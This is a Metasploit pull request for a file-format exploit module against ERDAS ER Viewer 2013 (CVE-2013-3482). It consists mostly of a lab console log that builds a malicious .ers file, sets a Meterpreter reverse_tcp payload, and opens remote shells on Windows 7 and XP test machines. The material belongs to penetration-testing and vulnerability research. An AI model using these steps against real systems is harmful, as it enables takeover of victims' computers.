rapid7/metasploit-framework — pull request #2083 by jvazquez-r7 (2013-07-08 14:15:17+00:00)
Title: Add module for CVE-2013-3482

Tested successfully on ERS Viewer 2013 13.0.0.1151 (2013 Initial Release), which can be downloaded from:

http://geospatial.intergraph.com/products/other/erdasermapper/ERDASERViewer/Downloads.aspx

IMPORTANT: Download the "ERDAS ER Viewer 2013: Initial Release December 7, 2012"

Test:

```
msf > use exploit/windows/fileformat/erdas_er_viewer_rf_report_error
msf exploit(erdas_er_viewer_rf_report_error) > show options

Module options (exploit/windows/fileformat/erdas_er_viewer_rf_report_error):

Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.ers yes The file name.

Exploit target:

Id Name
-- ----
1 ERS Viewer 2013 13.0.0.1151 / DEP & ASLR bypass

msf exploit(erdas_er_viewer_rf_report_error) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(erdas_er_viewer_rf_report_error) > set lhost 192.168.172.1
lhost => 192.168.172.1
msf exploit(erdas_er_viewer_rf_report_error) > exploit

[+] msf.ers stored at /Users/juan/.msf4/local/msf.ers
msf exploit(erdas_er_viewer_rf_report_error) > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.172.1
lhost => 192.168.172.1
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.172.1:4444
[*] Starting the payload handler...
[*] Sending stage (751104 bytes) to 192.168.172.137
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.137:49694) at 2013-07-08 09:06:03 -0500

meterpreter > getuid
Server username: WIN-RNJ7NBRK9L7\Juan Vazquez
meterpreter > sysinfo
Computer : WIN-RNJ7NBRK9L7
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.137 - Meterpreter session 1 closed. Reason: User exit
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.172.1:4444
[*] Starting the payload handler...
[*] Sending stage (751104 bytes) to 192.168.172.244
[*] Meterpreter session 2 opened (192.168.172.1:4444 -> 192.168.172.244:1584) at 2013-07-08 09:06:54 -0500

meterpreter > getuid
Server username: JUAN-C0DE875735\Administrator
meterpreter > sysinfo
Computer : JUAN-C0DE875735
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.244 - Meterpreter session 2 closed. Reason: User exit
msf exploit(handler) > use exploit/windows/fileformat/erdas_er_viewer_rf_report_error
msf exploit(erdas_er_viewer_rf_report_error) > show targets

Exploit targets:

Id Name
-- ----
0 ERS Viewer 2013 13.0.0.1151 / NO DEP / NO ASLR
1 ERS Viewer 2013 13.0.0.1151 / DEP & ASLR bypass

msf exploit(erdas_er_viewer_rf_report_error) > set target 0
target => 0
msf exploit(erdas_er_viewer_rf_report_error) > exploit

[+] msf.ers stored at /Users/juan/.msf4/local/msf.ers
msf exploit(erdas_er_viewer_rf_report_error) > use exploit/multi/handler
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.172.1:4444
[*] Starting the payload handler...
[*] Sending stage (751104 bytes) to 192.168.172.244
[*] Meterpreter session 3 opened (192.168.172.1:4444 -> 192.168.172.244:1585) at 2013-07-08 09:09:21 -0500

meterpreter > sysinfo
Computer : JUAN-C0DE875735
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > getuid
Server username: JUAN-C0DE875735\Administrator
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.244 - Meterpreter session 3 closed. Reason: User exit
msf exploit(handler) > exit -y

```